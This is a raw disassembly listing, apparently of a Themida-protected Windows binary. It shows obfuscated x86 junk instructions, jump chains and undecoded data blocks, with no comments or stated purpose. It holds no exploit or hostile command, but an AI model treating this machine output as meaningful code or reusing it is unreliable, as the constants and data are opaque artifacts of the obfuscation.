		add	esi, 47B56E3Eh
		add	esi, ebx
		sub	esi, 47B56E3Eh
		mov	ebx, [esp]
		add	esp, 4
		xchg	esi, [esp]
		jmp	loc_518B14
; ---------------------------------------------------------------------------
		db 57h
		dd 5F240CFFh, 102C68h, 240C8900h, 0B4BBF57h, 0F9896C9Fh
		dd 8BCF215Fh, 77E9240Ch
		db 0E0h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_522707:				; CODE XREF: Themida_:00522DE6j
		add	ebp, edi
		pop	edi
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_51ADFC
; ---------------------------------------------------------------------------
		dd 0ED81D501h, 33737F71h, 0FF135CE9h, 347F68FFh, 4890000h
		dd 4831B824h, 0C5292BFEh, 5624048Bh, 0FFFE2AE9h, 26D968FFh
		dd 1C890000h, 2BB24h, 0D8010000h, 68241C8Bh, 3A90h, 0E9241C89h
		dd 0FFFF8119h
; ---------------------------------------------------------------------------

loc_52275C:				; CODE XREF: Themida_:00511AB7j
		sub	dh, 27h
		jmp	loc_51E622
; ---------------------------------------------------------------------------
aSuss		db 'SUéè&',0
		dw 8100h
		dd 4C4h, 33BD5500h, 313D9401h, 0B8505DEEh, 76F1666Bh, 48BC621h
		dd 0A885E924h, 5966FFFFh, 0EFE9CCFEh, 8B000019h, 0C481242Ch
		dd 4, 0B31E9h, 74FF5000h, 0E9580424h, 0FFFF374Bh, 24348758h
		dd 2404895Ch, 0FFC97EE9h, 457BAFFh, 0EAD17006h,	0E281DAF7h
		dd 354E27A1h, 0FF8954E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5227CD:				; CODE XREF: Themida_:005180CEj
		push	ecx
		push	ax
		mov	al, 0A7h
		mov	ch, al
		pop	ax
		sub	al, ch
		jmp	loc_524E40
; ---------------------------------------------------------------------------

loc_5227DD:				; CODE XREF: Themida_:00520D40j
		pop	eax
		xor	edx, [esp]
		jmp	loc_51281D
; ---------------------------------------------------------------------------
aIxhz		db '‰åhZ{',0
		dd 243C8900h, 973049BFh, 0CDDEE90Fh, 0C129FFFFh, 480DE981h
		dd 5158740Dh, 42474FFh,	24048F59h, 5424248Bh, 0FFC871E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_522815:				; CODE XREF: Themida_:0051DB4Cj
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		push	ecx
		push	esi
		mov	esi, 7A407AAEh
		shl	esi, 1
		sub	esi, 7B69770Eh
		add	esi, 86E881B6h
		mov	ecx, esi
		pop	esi
		jmp	loc_5237FC
; ---------------------------------------------------------------------------
		db 80h,	0F3h, 0A4h
		dd 88D88850h, 8457E9C5h, 0C181FFFFh, 4,	4C181h,	0C870000h
		dd 57495C24h, 705BE956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_52286E:				; CODE XREF: Themida_:00522E21j
		add	edi, 9340BDh
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_51C5F8
; ---------------------------------------------------------------------------
		db 57h
		dd 0FF3D82E9h, 2434FFFFh, 4C48158h, 53000000h, 0D1B35352h
		dd 0FF7BEAE9h, 94EB81FFh, 816E8B73h, 762BD4EBh,	0F4D6E926h
		dd 5F5AFFFFh, 0FF5E9BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5228B1:				; CODE XREF: Themida_:00521768j
		add	esp, 4
		pop	edx
		jmp	loc_5232AE
; ---------------------------------------------------------------------------

loc_5228BA:				; CODE XREF: Themida_:0051EFC5j
		jmp	loc_50F70C
; ---------------------------------------------------------------------------

loc_5228BF:				; CODE XREF: Themida_:0051FA74j
		xor	edx, ecx
		jmp	loc_524250
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 243C8B24h, 8104C483h, 4C4h, 0C9EF8100h, 0C144566Dh
		dd 0ACE903E7h, 66FFFFA8h, 56C5805Bh, 801AED80h,	0EC004DEDh
		dd 0FF81BDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5228F5:				; CODE XREF: Themida_:00515EB1j
		pop	ecx
		add	eax, ebx
		jmp	loc_51CAEF
; ---------------------------------------------------------------------------
		db 5Fh,	0C1h, 0E6h
		dd 97E95707h
		db 84h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_522907:				; CODE XREF: Themida_:00511447j
		mov	esp, [esp]
		push	3EFCh
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_51DA6F
; ---------------------------------------------------------------------------

loc_52291E:				; CODE XREF: Themida_:00524C44j
		xor	esi, 6DAF5809h
		pop	ecx
		not	esi
		jmp	loc_51014B
; ---------------------------------------------------------------------------
		dd 0A0BD5550h, 0E9204A46h, 0FFFF269Eh, 51E6B252h, 0DBE9D4B5h
		dd 81FFFFD0h, 921CB0C1h, 81E90173h, 921CB0E9h, 0EDBB5373h
		dd 14EE411h, 2C8B5BD9h,	4C48124h, 1000000h, 0CDBE56F1h
		dd 2938494Eh, 0D5F6E9F1h, 75BBFFFEh, 81093542h,	33FCE5EBh
		dd 0ABC381B8h, 437C9155h, 4EC81h, 2C890000h, 0BD24h, 0DD290000h
		dd 0FF05A0E9h, 0BF5755FFh, 3B0C47A4h, 0FEE2ABE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5229A5:				; CODE XREF: Themida_:0051E500j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_51ABF9
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4C3862C8h, 1DB9E9h, 5DEE2900h, 0AB05E95Fh, 5455FFFFh
		dd 7DE9685Dh, 4890000h,	4B824h,	0E9E90000h
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5229DF:				; CODE XREF: Themida_:00515990j
		push	5D04h
		mov	[esp], ebx
		jmp	loc_5235B0
; ---------------------------------------------------------------------------
		dd 5BD8295Ah, 4EC81h, 2C890000h, 8514BD24h, 0A42D0C05h
		dd 2D5F4E3Bh, 504B3D64h, 0DB03A92Dh, 5E82945h, 45DB03A9h
		dd 3D64BE56h, 0F001504Bh, 0FF5BCBE9h, 241C87FFh, 2414895Ch
		dd 0C281E289h, 4, 5204EA83h, 42474FFh, 24048F5Ah, 8924248Bh
		dd 55572404h, 0FFFF6EE9h, 243489FFh, 0B94D11BEh, 0AFC6E977h
		dd 6866FFFFh, 58664F43h, 0FED391E9h, 66E600FFh,	8124048Bh
		dd 2C4h, 0FAC68000h, 0FF1E30E9h, 0A6855FFh, 6800005Bh
		dd 59DEh, 0E9242489h, 0FFFF5208h
; ---------------------------------------------------------------------------

loc_522A88:				; CODE XREF: Themida_:00517C50j
		mov	ebx, 546627F7h
		jmp	loc_522E3B
; ---------------------------------------------------------------------------

loc_522A92:				; CODE XREF: Themida_:005203B8j
		sub	ecx, edx
		pop	edx
		inc	ecx
		shr	ecx, 2
		jmp	loc_52423F
; ---------------------------------------------------------------------------
		dw 0E4B7h
		dd 0FF4A6CE9h, 0EC8153FFh, 4, 0FF7754E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_522AB1:				; CODE XREF: Themida_:00516471j
		add	eax, ecx
		pop	ecx
		pop	ebx
		jmp	loc_51764A
; ---------------------------------------------------------------------------

loc_522ABA:				; CODE XREF: Themida_:0051F021j
		push	esp
		push	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	edi
		jmp	loc_51E0A9
; ---------------------------------------------------------------------------
		dd 9826B268h, 0EB015D48h, 0FFE8AEE9h, 0AC381FFh, 14D0B6Ah
		dd 4EC83C3h, 0B8240489h, 5837919h, 0FF030C35h, 1233E91Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_522B02:				; CODE XREF: Themida_:00523D09j
		sub	ebx, eax
		pop	eax
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		push	9953523h
		pop	edx
		xchg	ebp, edx
		not	ebp
		push	edx
		push	ebp
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		not	edx
		add	edx, 0F66ACAFDh
		push	edx
		pop	ebx
		jmp	loc_51CE7C
; ---------------------------------------------------------------------------
		dd 0C1E9E189h, 57FFFEFFh, 0FF9288E9h, 240C89FFh, 0FECBB7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_522B55:				; CODE XREF: Themida_:00523AE4j
		push	ebx
		mov	ebx, 0E1B2A9F7h
		jmp	loc_511E30
; ---------------------------------------------------------------------------
		dd 24048F5Eh, 0FF3D4BE9h, 0A7685EFFh, 89000065h, 0A9E92414h
		dd 8100000Ch, 4ECh, 24248900h, 4240483h, 0ADB8505Bh, 533ADD59h
		dd 862AA6BBh, 9EBB5378h, 0E95D9977h, 0FFFFF8B4h, 5058C228h
		dd 0C0FE6CB0h, 1704C0FEh, 5058C228h, 993415B0h,	0C32C6734h
		dd 0FFF48EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_522BB9:				; CODE XREF: Themida_:00520AF6j
		pop	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_513451
; ---------------------------------------------------------------------------
		db 1
		dd 986852E9h, 5A09D01Ch, 45D1E281h, 0E955380Dh,	0FFFF9D83h
		dd 0E924248Bh, 0FFFECB14h
; ---------------------------------------------------------------------------

loc_522BF8:				; CODE XREF: Themida_:00510998j
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_515125
; ---------------------------------------------------------------------------
		dd 81E6D15Fh, 10C8FBF6h, 0E9F72935h, 0FFFECB10h
; ---------------------------------------------------------------------------

loc_522C18:				; CODE XREF: Themida_:0051BD7Aj
		mov	ebx, eax
		pop	eax
		sub	ecx, ebx
		mov	ebx, [esp]
		jmp	loc_512518
; ---------------------------------------------------------------------------
		db 4Ah,	0C1h, 0EAh
		dd 13EA8106h, 89025BF4h, 0F0895AD6h, 0E9C3015Eh, 0FFFFBDC7h
		dd 0DF87D3F7h, 0FF8450E9h, 14875DFFh, 3C895C24h, 4EC8124h
		dd 89000000h, 4832424h,	525F0424h, 0FF8F4FE9h, 395E68FFh
		dd 14890000h, 5B6CE924h, 0C681FFFFh, 258A2E1Fh,	0FF5EFEE9h
		dd 242C89FFh, 1B0A12BDh, 6EED811Eh, 311CA6E9h, 2434FFE8h
		dd 0FFF507E9h, 0E76855FFh, 5D1A6472h, 0E581DDF7h, 7451C3Ah
		dd 541FC581h, 0E5815017h, 20C144F1h, 0FFC586E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_522CB1:				; CODE XREF: Themida_:0051509Dj
		add	esp, 4
		push	eax
		jmp	loc_51B6A9
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 54535824h, 83241C8Bh, 535604C4h, 0FFD148E9h,	2877B0FFh
		dd 24048BC6h, 4C481h, 0CBE90000h, 66FFFF1Fh, 8124048Bh
		dd 4ECh, 241C8900h, 0C381E389h,	4, 4EC81h, 34890000h, 4BE24h
		dd 0EB810000h, 7D456873h, 0BD55F329h, 114D55ABh, 12C8C581h
		dd 0EB016BF8h, 1C875E5Dh, 2C895C24h, 15E95424h,	81FFFF24h
		dd 477C4EBh, 81D3016Ah,	477C4C3h, 24148B6Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_51B261
; ---------------------------------------------------------------------------

loc_522D4F:				; CODE XREF: Themida_:0051C068j
		add	esp, 4
		sub	eax, 7EC82F7Bh
		sub	eax, ebx
		add	eax, 7EC82F7Bh
		jmp	loc_5137FA
; ---------------------------------------------------------------------------
		dw 0C5FEh
		dd 289CED80h, 4488E9EBh, 4805FFFFh, 0E917C210h,	0FFFF5C5Ah
		dd 2434FF59h, 4EC8158h,	0E9000000h, 0FFFF6360h
; ---------------------------------------------------------------------------

loc_522D8C:				; CODE XREF: Themida_:0051322Aj
		push	esi
		jmp	loc_513435
; ---------------------------------------------------------------------------
		dw 0F428h
		dd 5A2434FFh, 2804C483h, 24048BE3h, 0FF27D9E9h,	240C8BFFh
		dd 3104C483h, 0D5015DEAh, 4C5815Ah, 0E9000000h,	0FFFF3A7Fh
		dd 4C481h, 9C050000h, 10CCD64h,	649C2DE8h, 92E90CCDh
		db 56h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_522DD3:				; CODE XREF: Themida_:0051495Dj
		xor	edi, 56E52A8h
		dec	edi
		add	edi, 2541C82h
		add	edi, 0F7B6760Bh
		jmp	loc_522707
; ---------------------------------------------------------------------------
		db 89h
		dd 0FFE9240Ch, 41FFFEFAh, 157E9h, 4BB00h, 0F7E90000h
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_522E03:				; CODE XREF: Themida_:005175E7j
		xchg	ebx, ecx
		inc	ebx
		xchg	ebx, ecx
		or	ecx, 483D0A39h
		neg	ecx
		push	esi
		mov	esi, 5DBF5E81h
		add	ecx, esi
		pop	esi
		sub	edi, 9340BDh
		add	edi, ecx
		jmp	loc_52286E
; ---------------------------------------------------------------------------

loc_522E26:				; CODE XREF: Themida_:0051053Dj
					; Themida_:00521974j
		push	ecx
		push	esp
		jmp	loc_5219C3
; ---------------------------------------------------------------------------

loc_522E2D:				; CODE XREF: Themida_:00510A7Fj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_51388C
; ---------------------------------------------------------------------------

loc_522E3B:				; CODE XREF: Themida_:00522A8Dj
		and	ebx, 22E4445Ch
		jmp	loc_5128DD
; ---------------------------------------------------------------------------
		dw 0E6D0h
		dd 20FEF680h, 0E4C05AF4h, 0ABB15103h, 0FEDE9AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_522E59:				; CODE XREF: Themida_:0051F2C9j
		pop	eax
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_516314
; ---------------------------------------------------------------------------
		db 58h
		dd 4B850h, 14E90000h, 89FFFF09h, 4B9240Ch, 51000000h, 0FFA152E9h
		dd 86D3F6FFh, 0D38853DAh, 2404FE53h, 0DC88505Bh, 5B58E288h
		dd 0F280E2D0h, 0E9D0288Bh, 0FFFFCE78h
; ---------------------------------------------------------------------------

loc_522EA8:				; CODE XREF: Themida_:0051D432j
		mov	[esp], ecx
		push	36DCh
		mov	[esp], esi
		push	eax
		mov	eax, 476F2FA0h
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_51F74C
; ---------------------------------------------------------------------------
		dd 8EEC146h, 35FDBB53h,	2EE90662h, 28000017h, 0AE38E9F0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_522EDA:				; CODE XREF: Themida_:0051B95Aj
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_520735
; ---------------------------------------------------------------------------

loc_522EF0:				; CODE XREF: Themida_:0051AB41j
		pop	edx
		add	edi, 0B798846Bh
		xor	ecx, edi
		pop	edi
		sub	edx, 27112A67h
		add	edx, ecx
		push	eax
		jmp	loc_524D21
; ---------------------------------------------------------------------------

loc_522F08:				; CODE XREF: Themida_:0051487Cj
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 6390599Ah
		push	ebx
		jmp	loc_517E36
; ---------------------------------------------------------------------------
		db 0F7h, 0D5h, 55h
		dd 48B5D50h, 0EA93E924h, 483FFFEh, 575B0424h, 0B72A2ABFh
		dd 6E7C169h, 71FBE94Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_522F3E:				; CODE XREF: Themida_:0051DA3Dj
		push	eax
		push	ecx
		push	esi
		mov	esi, 0CE903D8h
		mov	ecx, esi
		pop	esi
		mov	eax, ecx
		jmp	loc_51F09A
; ---------------------------------------------------------------------------
		dd 0C286C181h, 0EB81F862h, 10584BC8h, 0C381CB29h, 10584BC8h
		dd 81240C8Bh, 4C4h, 9760E900h, 895CFFFFh, 4832424h, 0B6E90424h
		dd 83FFFFA5h, 0C8904ECh, 47BA6824h, 2C890000h, 6119E924h
		dd 0C381FFFFh, 508A55CFh, 112CC381h, 48E94A0Dh,	8B000019h
		dd 0C5E92424h, 89FFFFEBh, 4C781E7h, 81000000h, 4C7h, 243C8700h
		dd 0FFAF52E9h, 9C5166FFh, 0FEC743E9h, 48B66FFh,	4EC8124h
		dd 89000000h, 65E9242Ch, 5DFFFFD6h, 261B850h, 0E8C1026Ch
		dd 0A5254006h, 48149274h, 2FFE2Dh, 34EB8100h, 294CC31Dh
		dd 34C381C3h, 8B4CC31Dh, 0C4812404h, 4,	10CFF381h, 0D831C601h
		dd 0E9241C8Bh, 0FFFF5247h
; ---------------------------------------------------------------------------

loc_523018:				; CODE XREF: Themida_:00521FCDj
		push	edx
		push	ebp
		pop	edx
		mov	ecx, edx
		jmp	loc_51FB74
; ---------------------------------------------------------------------------
		dw 0ED80h
		dd 17C58088h, 0FEE702E9h, 1C77FFFFh, 6659669Dh,	9C2414D3h
		dd 0FED02EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_52303D:				; CODE XREF: Themida_:00520DFAj
		pop	edx
		add	eax, 0C4A5D098h
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_50F70C
; ---------------------------------------------------------------------------
		dd 5251D088h, 1ABA68h, 0ED38E900h, 0E952FFFEh, 0FFFEDEA9h
		dd 0C775D905h, 2DF02949h, 49C775D9h, 4D2D8E2Dh,	5155560Ch
		dd 0C94C3968h, 18E95971h, 89FFFF7Eh, 0CC882404h, 8B58E788h
		dd 0C481240Ch, 4, 1846E952h, 0F7800000h, 5BFE00D4h, 8324048Bh
		dd 0B35304C4h, 5BDE30F6h, 2FAA68h, 240C8900h, 80A5B353h
		dd 0D98883C3h, 0C1C6805Bh, 0EE80CE28h, 240C8BC1h, 0FF28C4E9h
		dd 0C3815CFFh, 2A0D522Ah, 0B951EB01h, 2A0D522Ah, 5D59CB29h
		dd 6804C383h, 483h, 0FF241C89h,	0E9042474h, 0FFFFE169h
; ---------------------------------------------------------------------------

loc_5230F8:				; CODE XREF: Themida_:00510EE8j
		pop	esp
		jmp	loc_521DB5
; ---------------------------------------------------------------------------
		dw 487h
		dd 10E95C24h, 81FFFF53h, 790447C6h, 40A4686Fh, 1C890000h
		dd 3731BB24h, 0D3F775DAh, 2D81CB81h, 0F3812662h, 66D348AEh
		dd 15A2CB81h, 0E8E93484h, 4AFFFF43h, 4EC81h, 14E90000h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_52313F:				; CODE XREF: Themida_:005210BDj
		pop	edi
		xchg	ebp, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	edi
		push	3A11h
		mov	[esp], ebp
		jmp	loc_5108CA
; ---------------------------------------------------------------------------

loc_52315B:				; CODE XREF: Themida_:00517271j
		push	eax
		mov	eax, 0D551DDDBh
		sub	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	edx, 25F21AAh
		sub	edx, ebx
		add	edx, 25F21AAh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5172F0
; ---------------------------------------------------------------------------

loc_523188:				; CODE XREF: Themida_:005180EDj
		push	eax
		pushf
		jmp	loc_50F70C
; ---------------------------------------------------------------------------

loc_52318F:				; CODE XREF: Themida_:0051CD6Ej
		xor	dword ptr [esp], 6DAF5809h
		jmp	loc_524C43
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0EB8103EBh, 0BB3AFAE6h, 0E95BD901h, 0FFFF2AC4h, 39E9D301h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5231B3:				; CODE XREF: Themida_:0051538Dj
		push	7109h
		mov	[esp], eax
		jmp	loc_520420
; ---------------------------------------------------------------------------

loc_5231C0:				; CODE XREF: Themida_:00519CAAj
		mov	edx, ecx
		pop	ecx
		jmp	loc_51C91D
; ---------------------------------------------------------------------------
		dd 1D612558h, 0E4E9698Eh, 89FFFF2Ah, 4C581E5h, 83000000h
		dd 2C8704EDh, 1C895C24h, 4EC8324h, 0FF9AA6E9h, 0EDC05BFFh
		dd 80DDF602h, 7DE95BEDh, 0BEFFFF37h, 32547B7Ah,	3232E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_523206:				; CODE XREF: Themida_:0051A2C8j
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		add	eax, 0F316FC2Ah
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		rol	word ptr [esp],	cl
		pushf
		jmp	loc_520B6C
; ---------------------------------------------------------------------------

loc_52322F:				; CODE XREF: Themida_:0051DF57j
		pop	eax

loc_523230:				; CODE XREF: Themida_:005138E3j
		push	4009h
		mov	[esp], edi
		jmp	loc_5113AA
; ---------------------------------------------------------------------------
		db 0C1h, 0E9h, 6
		dd 0FF14D0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_523245:				; CODE XREF: Themida_:00524B45j
		push	dword ptr [esp]
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_519FE1
; ---------------------------------------------------------------------------
		db 5
		dd 4, 8704C083h, 0B9E92404h, 0B9FFFFA0h, 6D102B46h, 3102E981h
		dd 0E2E9262Ah, 5E000018h, 674FC381h, 0C3011C5Ah, 674FEB81h
		dd 33581C5Ah, 1C31241Ch, 241C3324h, 0FF24248Bh,	93E92434h
		dd 21FFFEF3h, 243C8BF8h, 8104C483h, 4ECh, 82E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5232AE:				; CODE XREF: Themida_:005228B5j
		pop	ebx
		mov	[edi+38h], ah
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_521E07
; ---------------------------------------------------------------------------
		db 81h,	2 dup(0E2h)
		dd 817CD00Ch, 4F2h, 5AD10100h, 0AC65E953h, 0FF52FFFFh
		dd 5A042474h, 5C24048Fh, 54240489h, 8124048Bh, 4C4h, 80E95600h
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5232EF:				; CODE XREF: Themida_:0051A29Aj
		mov	esi, esp
		add	esi, 4
		jmp	loc_51DE33
; ---------------------------------------------------------------------------
		dd 33243C31h, 248B243Ch, 14896624h, 9C506624h, 0FF09D9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_523311:				; CODE XREF: Themida_:00511CE9j
		mov	esp, [esp]
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_521075
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0C4812404h, 4, 0FF11AAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_523331:				; CODE XREF: Themida_:00519C18j
		pop	dword ptr [esp]
		pop	esp
		add	[esp], ax
		pushf
		jmp	loc_511FBB
; ---------------------------------------------------------------------------

loc_52333F:				; CODE XREF: Themida_:0051F4A5j
		push	5F1A1A3Fh
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 3B742F29h
		add	ecx, eax
		pop	eax
		jmp	loc_5113D2
; ---------------------------------------------------------------------------
		dd 5D2414F7h, 612EF581h, 0F58136EEh, 1B223192h,	6EF8E581h
		dd 0FBE96D2Dh
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_523373:				; CODE XREF: Themida_:005202D4j
		dec	esi
		inc	esi
		neg	esi
		jmp	loc_51F5C2
; ---------------------------------------------------------------------------
		dd 5BBEEA81h, 84E9A60Ch, 5DFFFFF0h, 19ECF581h, 5855F03Eh
		dd 58C2895Dh, 5683BF57h, 0DFF733E8h, 2E5EF81h, 0C7817FC7h
		dd 38012D7Bh, 7267EF81h, 0D7F755CEh, 0F781DFF7h, 66464CABh
		dd 0FF502AE9h, 48F58FFh, 34895C24h, 1869BE24h, 0EC817AA0h
		dd 4, 0FF72E7E9h, 0E1C380FFh, 0EB80C300h, 51C380E1h, 52F8EB80h
		dd 0EA8072B2h, 0E6CA8099h, 0F965E953h, 0C89FFFEh, 0F267E924h
		dd 8B66FFFFh, 8953240Ch, 4C381E3h, 83000000h, 0EFE904EBh
		dd 29FFFEDFh, 14875FFAh, 24248B24h, 0FF242C89h,	8B042474h
		dd 0C481242Ch, 4, 0E924048Fh, 0FFFFC54Fh, 4805E0C1h, 7FCABE56h
		dd 0F75638FFh, 34FF241Ch, 0C4835E24h, 89ABE904h, 8EBBFFFFh
		dd 43572551h, 0FEDF38E9h, 7CED81FFh, 81098E5Dh,	0BF323BC5h
		dd 5DE92900h, 7680E981h, 18863F5h, 0E92434FFh, 0FFFED8BEh
		dd 0E95B2E2Ch, 0FFFF8292h
; ---------------------------------------------------------------------------

loc_52347C:				; CODE XREF: Themida_:00520EBEj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_511011
; ---------------------------------------------------------------------------
		dd 5159CE08h, 0D5F6CFB5h, 0CDFEC5FEh, 0FF6997E9h, 2E1C1FFh
		dd 0E981E9D1h, 0D3E5C72Eh, 0FFC43FE9h, 1CC380FFh, 0FFC38059h
		dd 20D2C380h, 0F2805BDAh, 0BDF2803Ah, 0E95AD028h, 0C20h
		dd 3A4FC581h, 0C501113Ah, 0FEC38AE9h, 243C89FFh, 3BA168h
		dd 2158E900h, 70B0FFFFh, 5866C328h, 53C4B450h, 0DFF6D0B7h
		dd 0F1D9E951h, 835AFFFEh, 148904ECh, 4BA24h, 5DE90000h
		db 5Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_523507:				; CODE XREF: Themida_:0051A96Bj
		mov	[esp], ebp
		push	edi
		mov	edi, 456043A4h
		inc	edi
		inc	edi
		not	edi
		push	edx
		mov	edx, 456043A8h
		add	edi, edx
		pop	edx
		push	edi
		jmp	loc_514F9B
; ---------------------------------------------------------------------------

loc_523523:				; CODE XREF: Themida_:005144E8j
		pop	eax
		add	esp, 4
		push	ebx
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_514C3C
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 0FEEF66E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_523541:				; CODE XREF: Themida_:00513001j
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	edx
		push	eax
		mov	eax, 55DF3AE1h
		jmp	loc_514881
; ---------------------------------------------------------------------------

loc_523555:				; CODE XREF: Themida_:0051B07Cj
		push	3EED3196h
		pop	ecx
		jmp	loc_512F9D
; ---------------------------------------------------------------------------
		dd 0BE565D54h, 27C9766Fh, 1EE81h, 0F6810000h, 27C9766Ah
		dd 7344B951h, 0ED817943h, 2E382043h, 0C581CD01h, 2E382043h
		dd 68F50159h, 1AC7h, 56240C89h,	0DE1F9EBEh, 5E84E94Ch
		dd 5868FFFFh, 0E9255903h, 0FFFF6EEFh
; ---------------------------------------------------------------------------

loc_5235A8:				; CODE XREF: Themida_:005187BEj
		mov	[esp], ebp
		jmp	loc_523F8C
; ---------------------------------------------------------------------------

loc_5235B0:				; CODE XREF: Themida_:005229E7j
		push	eax
		push	edi
		push	85B56E4h
		pop	edi
		or	edi, 704F4AAAh
		dec	edi
		xor	edi, 59964738h
		sub	dword ptr [esp+4], 1B8E133Dh
		jmp	loc_51A809
; ---------------------------------------------------------------------------
		dw 34B8h
		dd 0F75DB530h, 353405D8h, 88E943B7h, 83FFFFC8h,	3C8704C7h
		dd 0EAE95C24h, 52FFFEC8h, 852F1268h, 0C2815A0Ah, 35D77244h
		dd 0E904EAC1h, 0FFFFDACFh, 0D0F7485Bh, 0FF4805E9h, 4C581FFh
		dd 83000000h, 2C8704C5h, 0EC815C24h, 4,	0E9243C89h, 0FFFFCB8Dh
		dd 52BE5658h, 682A954Fh, 0
		dd 5E243429h, 716C681h,	0E6C152E3h, 0E6CE8103h,	8153733Bh
		dd 0CE4A1F6h, 0BEE8104h, 8116425Ah, 0D75552C6h,	9447E9DDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_52365E:				; CODE XREF: Themida_:00518CADj
		push	eax
		mov	eax, edx
		mov	ebp, eax
		pop	eax
		pop	edx
		mov	ebx, ebp
		pop	ebp
		push	edx
		mov	edx, ebx
		mov	eax, edx
		pop	edx
		pop	ebx
		pop	edi
		push	705Fh
		jmp	loc_51FC9F
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48324h, 30BDB55Ah,	24048BC5h, 5204C483h, 0F48876B6h
		dd 8BEC005Ah, 8956240Ch, 4C681E6h, 0E9000000h, 0FFFF8716h
; ---------------------------------------------------------------------------

loc_5236A4:				; CODE XREF: Themida_:00521C36j
		xor	dword ptr [esp], 3C0F2045h
		jmp	loc_515CD1
; ---------------------------------------------------------------------------
		dd offset dword_450050+2A118h
		dd 24248900h, 4240481h,	5E000000h, 0FFEF29E9h, 0E9C101FFh
		dd 0FFFF27EAh
; ---------------------------------------------------------------------------

loc_5236CC:				; CODE XREF: Themida_:00523FB3j
		pop	eax
		push	ebp
		jmp	loc_516284
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483242Ch, 0F744E904h, 0BD55FFFEh, 632225F4h, 0FFE9AEE9h
